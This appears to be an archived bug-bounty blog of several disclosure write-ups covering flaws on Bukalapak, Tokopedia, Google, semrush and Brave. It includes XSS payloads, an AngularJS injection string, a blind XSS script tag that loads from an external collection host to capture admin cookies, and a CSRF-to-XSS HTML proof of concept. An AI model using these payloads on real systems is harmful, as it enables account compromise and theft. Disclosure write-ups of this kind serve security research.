First, I want to thank apapedulimu for allowing me to make my first write up on this blog
I’m rioncool22, based on North Sumatera, Indonesia
I want to share to you about my finding in shopify.com (Hackerone Program). I very often do bug searches on the shopify site and submit reports but it always ends with Informative and N/A. But, one day i read a report from the Hactivity about blind XSS. The payload get executed at unexpected place. After that, I tried it on shopify and the payload got fired in admin panel 😀
On the Thursday night, I feel boring on my rooms and then I try to do something to make my time is more valuable. After that I’m thinking of “How about I testing Bukalapak” . Not on the website application, But on their Mobile Application, although I’m not expert at all and just testing on their traffic from the Mobile Application to server.
I start hunt bug just trying to figured what’s the feature I should test, with the feeling of course. Long story short, I take a look on the feature called “Buka Pengiriman” In this feature, seller can pay the shipping fee on bukalapak and the shipping expedition will come to seller place to pick up the goods without request payment.
After now know the system work, I start thinking do this can be vulnerable on Parameter Tampering, Because I read a lot of the Parameter Tampering but have no luck to found one of them.
And then I start to launch the parameter tampering attack on the endpoint https://api.bukalapak.com/open-shipments/transactions , because I take a look on the system, this endpoint include the Price and the endpoint exist before system redirect to payment page.
Vulnerable Endpoint Price Parameter Tampering
And then when I trice to change the value of shipping and total parameter to 10, the response is also turning to 10. Hmmm, do this is really Vulnerable to Price Parameter Tampering ?
Is this parameter tampering ?
Because I’m not sure, I take a look on the my payment page to see there’s a some invoice with the following price?
Price on Payment page
Okay, this is on the payment page. But, I still not sure if this can be valid. So, I try to pay the invoice and the status is return to SUCCESS. And I was like :
And then after that, I start make some report to Bukalapak.
After long day no response, I ping up again to ask about the bounty, and they said it’s eligible for bounty and proceed the bounty soon. Long story short, the bounty of the Price parameter tampering on the Bukalapak is : 2.000.000 IDR or around 150$ ( Not include the tax).
So, It’s just old bug who I have been reported around 2018. I’ll share what I found on Tokopedia. Just in case you need some article to go to sleep. But it’ll just short description and PoC Here it is :
Stored XSS On Complain Product (Keterangan Bukti Field)
This vulnerable perform on feature complain product, When buyer not satisfied with the stuff who has been buy by buyer. Buyer can complain with upload some Image. And the vulnerability is on Description image field.
PoC :
Go to complain menu
Upload some image
Input Payload on description of image ( <img src=x onerror=alert(document.domain)> )
Payload will be execute when user navigate to the resolution menu.
Video :
Stored XSS On Location Shop (m.tokopedia.com )
This vulnerable on Location Shop Parameter at https://m.tokopedia.com/ . So, this bug is just set the location shop to payload. And when someone navigate to the Shop detail. It’ll pop up the XSS.
PoC :
Open The mobile apps Tokopedia
Edit the location of shop to XSS payload ( <img src=x onerror=alert(document.domain)> )
Open the location via browser
Video :
Stored XSS via AngularJS Injection On Etalase Name
Vulnerability exist because Tokopedia install the AngularJs old version and not filtering the illegal character very well. So, I just Insert the payload of AngularJs Injection to Etalasane Name and XSS will be fired up.
PoC :
Go To Add product
Set the Etalase Name to AngularJs Payload ( {{‘a’.constructor.prototype.charAt=[].join;$eval(‘x=1} } };alert(document.domain)//’);}} )
Save, And Open the product
Video :
Blind XSS on CS System ( Tokocash )
Tokopedia have some CS system, use the salesforce application. And when having some discussion between Tokopedia & Salesforce, the root cause is on the Tokopedia Custom Code.
PoC :
Login Tokocash.com
REquest new ticket with payload of XSS Hunter
Wait for execute payload on XSSHunter Dashboard.
Actually I have found more Stored XSS, but sadly that’s mark as Duplicate. I just fresh Bug who has been marked as valid only.
Thanks! Get in touch with me on Twitter : Apapedulimu
Recently, I got surprised from google, I found bug Clickjacking On Google My account. And they reward me 7,500$ for single bug. Amazing, right?. This bug I’ve found on March 2018, but the clickjacking is just blocked by CSP, and on August, I’ve found way to bypass it.
Actually, I’ve been research on business.google.com subdomain and look around, just dummies touching the feature. See the respond and request. Try a stupid thing, edit the parameter, etc. And when I want to manage the user is redirect me to myaccount.google.com which is place where I found the bug.
I look at my Lovely Community Edition of Burp Suite, There’s no header X-Frame-Option on it. At that time, I use Firefox ESR, I craft simple html just to iframe the page. And success, report them, but not applicable. Because on Firefox Quantum, Say Blocked By CSP,
Clickjacking Blocked By CSP on Modern Browser
Sad to hear that, but I realize I just too noob. So, It’s okay. I leave my research on google until August 15th. I try to look around again on my previous research. With more focus and of course my black coffee. I try to understand the code work.
I realize if the CSP rule is reflected from my request parameter. I found it on business.google.com , so the parameter of the host is business.google.com.
I realize if host just accept from business.google.com on origin parameter. So, I think the only way to execute it just from business.google.com . But, I try to edit parameter the origin to https://akugalau.business.google.com. It’s accepted! But, It’s impossible to use that subdomain. Hmmmm,
Okay, The csp still here, And I can’t do nothing, right? Do, I must give up? Come on, It’s a big company and I ? Just little kid with the broken heart story 🙁 SAD!
But, I have a lot free time to do stupid thing, right? So, I just adding illegal character on the origin parameter. I try to put URL Encode before the business.google.com. Become like this :
And the CSP is disappear, w000tttttt!!!!?!@?#!@?3!@?3?
I try to iframe that And, I success to perform the clickjacking :’ . My condition is between not believe this and happy.
If you ask me where the logic from adding the url encode on that. I dont understand :’ , I just lucky kid.
I make report quickly and submit to google. After 1 month, I just expected it’s worth 3,133.7 or 5,000. But, the google give me bigger bounty, they give me 7,500$ . What !
I dont know what i suppose to say. :’ , I dont believe it because I just noob kid.
1. Admin invite new user on group-id
2. New user will accept the invitation
3. New user know the {your-group-id}
4. New user create a malicious page including this clickjacking to trick admin make the new user account to the owner
5. The group is takeover by the user.
Video :
Timeline :
Aug 11 : Report to Google
Aug 15 : Google Staff Ask Detail
Aug 15 : Adding Detail
Aug 21 : Google Can’t Prove Bug
Aug 21 : Give them Video to PoC
Aug 28 : Google Ask About Attack Scenario
Aug 28 : Give the Attack Scenario
Sep 11 : Nice Catch!
Sep 25 : Bounty 7,500$
Sep 25 : I Cry.
And also, Big thanks to all Indonesia Bug Hunter Community, Who has been teach me a lot about Bug Bounty and the ethical of bug hunter.
Recently, I’ve found something new for me , and I found this on www.semrush.com some bug bounty program on hackerone . And it’s first time I’ve found XSS on hackerone program. So, This is the story.
While I’am looking around on semrush.com , try to one page and another page, put some payload on all field, and end on page https://www.semrush.com/my-posts/ this page is can be post something, and you able write everything you want. I try to put some xss payload on the field , but nothing happen.
Then, I try to upload some image, And the interesting time begin. I try to upload malicious filename on that page. It’s looks like this.
I take a long time to analyzing the request and response when I upload some image, but after a cup of coffee, help me to focus, and I notice the parameter CKEditorFuncNum on request is reflected on response. I try to write some text and see the result, is reflect on response
After know is reflected , I use payload XSS to trigger the XSS with payload like this : </script><script>alert(document.domain)</script> and it’s execute as script!.
After know this, I made simple HTML to execute this, and the code is like this :
So, recently I’ve found Stored XSS On Tokopedia. But, I Accidentally Found Them while buy something on tokopedia. And there is it. :
Summary
After found Stored XSS in previous post, and rewarded by Tokopedia, I start looking some Smartphone on tokopedia. And while checkout as usual, then I Have an idea to fill all field with Payload XSS , And then I use XSS Hunter to fill all the field with payload XSS from XSS Hunter. After check out and pay the fee, I start looking XSS Hunter, But no response there. So, I start looking my transaction and see the Invoice. And I got this :
I found my payload in invoice without filtering.
And I look at the invoice and found colomn Catatan Untuk Penjual & Dropshipper with value of my XSS Payload from xss hunter, But one of them is filtering my Payload. At this Time I Assume If my payload XSS is work on Catatan Untuk Penjual Field, and I must to do is When seller verify my order and send my package. But I Wrong.
After few days, I notice if my order has been shipped by seller, and I got the tracking code. After receive notice like this, I start looking my XSS Hunter dashboard. I suprised, because I got response from tokopedia on seller side, So I Assume if my XSS execute on seller side and on Catatan Untuk Penjual parameter.
Got response from seller side on dashboard XSS hunter.
After that, I quickly make report and send it to Tokopedia. With detail if XSS vuln on Catatan Untuk Penjual parameter. In the next day, Tokopedia told me if the report hard to understand , and Ask me to do general alert like previous report. And I starting to try to reproduce it with my own shop, So I can pop up the alert without annoying another person. But, I got confused because no pop up found when I try to reproduce with my recent experience. After re-thinking again, What the problem, my smartphone has arrived, the courier send me the package, and I started to looking the detail from my package And I got suprised because my XSS is pop up on there.
My Payload is execute on there.
Actually, the vuln XSS is not on Catatan Penjual, but on Dropshipper parameter. Iam to dumb because not see the DOM on XSS Hunter, The DOM can help you to see where your XSS is popup their self. After that I started to report again to Tokopedia IT Security Team.
Step To Reproduce :
Buy something
While checkout fill the Dropshipper field with XSS Payload.
Wait the seller to confirm.
XSS will be fired up.
XSS Fired up when seller confirm the order.
Timeline :
Mar 7 : First Report Send
Mar 7 : Tokopedia Tim Asked More Information
Mar 7 : Detail Report Send
Mar 9 : Tokopedia Confirmed the vuln and mark bug as “Medium” Severity
Mar 27 : Tokopedia Fix the bug and ask Re-Testing.
Blind XSS is fired up on admin panel on name parameter, While the register there’s a field Full Name, I fill it with XSS Payload, I use XSSHunter to execute this. In a Next day I’ve found my XSS result on XSShunter dashboard through their admin Panel, I able to showing admin IP / Cookies / Path of admin, and etc. Maybe the admin will activate / reviewing the user registration.
PoC :
1. Register new account and fill the Field Full name with Payload From XSSHunter. ( “><script src=https://apapedulim.xss.ht></script> )
2. Complete the registration.
3. Wait on the Next Day.
Impact :
Getting the IP / Cookies / Path Of admin of the XSS and able to get the list of other customer details like Name, IDs.
How Do you Know it’s Blind XSS on admin page?
Actually, Im not sure at the first time I found, After registering my account, I get the email from website to confirm my account, And my name going to "> in my recent test, I use that payload just showing "> and XSS payload will execute,
Verify my email address from website.
I assume It’ll be Stored XSS and will be fired up on admin panel, So, I wait it, And got the response from admin panel.
Note : The team request limited disclosure.
I contacted the team via their contact page. And got positive report from them, After seeing my report they fix the vuln and will send me some SWAG. Yay!
At the first time, I found Self-Stored XSS on Tokopedia in their template message, In Tokopedia have feature template message to chat seller with common question like “This Goods Is Ready, What Is The Variant color, and etc”. User can set the template message by their self, and I try to insert the payload XSS on the template message , and when I open the message, the XSS will be pop up, And I assume this is Self-Stored XSS. And after that I think if Self-Stored XSS not high enough because the user must be input the payload to their template. And I try to dig the Request And I found some JSON request without Token on their endpoint, and the content-type not checked by their system and I think it will be Valid CSRF. So, I try to chain that bug in one action.
Step to reproduce :
Create .html code like this :
<title>CSRF To XSS on tokopedia</title>
<script>
function getMe(){
// retrieve page content
var xhr = new XMLHttpRequest();
// now execute the CSRF attack
xhr.open("POST",
"https://chat.tokopedia.com/tc/v1/update_chat_templates", true);
xhr.withCredentials="true";
xhr.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");
xhr.send('{"is_enable":true,"templates":["Bisa dikirim hari ini
ga?","Terima kasih!","<script>alert(document.domain);//"]}');
}
</script><center>
<h1>CSRF To XSS On tokopedia</h1>
<button onclick="getMe();">Xploit Kuyy</button>
</center>
The code will be send request to https://chat.tokopedia.com/tc/v1/update_chat_templates endpoint to add template message [“Bisa dikirim hari ini ga?”,”Terima kasih!”,”<script>alert(document.domain);//”] . Who included by Payload XSS.
So, when victim visit that link, will be added payload XSS to their template message, and when victim try to chat with some seller, the XSS will be execute.
Video :
Timeline :
Sun, Feb 25, 2018 at 2:31 PM : Report Send
Sun, Feb 25, 2018 at 3:34 PM : Tokopedia Team answer will investigate
Mon, Feb 26, 2018 at 10:11 AM : Tokopedia Team Mark as Duplicate the XSS ( Found By Internal Team ) and CSRF mark as LOW Severity
Tue, Feb 27, 2018 at 9:09 AM : Try to explain the CSRF to get Medium Severity >.<
Tue, Feb 27, 2018 at 10:52 AM : Tokopedia Team Mark XSS & CSRF Valid with Medium Severity because the endpoint is different with internal team report
Thu, Mar 1, 2018 at 9:57 PM : Tokopedia Fixed The XSS , and tell CSRF not be fixed because the endpoint will changed soon.
After a few month not hunting bug, and i want to hunt again. I read my previous report about Bypassing Homograph and look at the patch code. And I think I can bypass it, with some trick.
I see code on Brave Github patch on previous report, and with minimum programming skill try to bypassing homograph. I notice on their code is something like this. :
it('returns the punycode URL when given a valid URL', function () {
assert.equal(urlUtil.getPunycodeUrl('http://brave:brave@ebаy.com:1234/brave#brave'), 'http://brave:brave@xn--eby-7cd.com:1234/brave#brave')
})
I notice on url between @ , the URL after @ is containing punycode, and get return to ASCII , and my weird logic think if before @ the punycode it’s doesn’t return to ASCII,
And this is How I Reproduce it :
This is punycode URL ebаy.com@ebаy.com = xn--eby-7cd.com@xn--eby-7cd.com .
Set it to homepage
Attempt :
- ebаy.com@ebаy.com it'll become = ebаy.com@xn--eby-7cd.com
- ebаy.com/ebаy.com it'll become = xn--eby-7cd.xn--com/eby-7fg.com
- ebаy.com/@ebаy.com it'll become = ebаy.com/@xn--eby-7cd.com
And this is true before @ doesn’t return to ASCII , so to visit the link before @ i give / after punycode. So, when user input ebаy.com/@apapedulimu.click user will redirect to : xn--eby-7cd.com
Video :
And I report to Brave tim on Hackerone , you can see my report on : https://hackerone.com/reports/317931 . The brave tim very fast when patching it. And i got rewarded with bounty. Yeay!
And I say thanks to them with some GIF because very fast reply and patching although there’s just minor bug.
I’ve found Reflected XSS on www.bukalapak.com via AngularJs , I found this by write {{31338-1}} on their search page and found result 31337 . And i also read h1 report from ysx for my reference to exploit this.
And I use payload from ysx to exploit AngularJS with {{constructor.constructor(‘alert(document.domain)’)()}} payload.
First, I want to thank apapedulimu for allowing me to make my first write up on this blog
![Reflected XSS On Search Product via AngularJS Template Injection [ Bukalapak.com ]](http://wayback.fauppsala.se:80/wayback/20200830035525im_/https://apapedulimu.click/wp-content/uploads/2018/02/Screenshot_259.png)
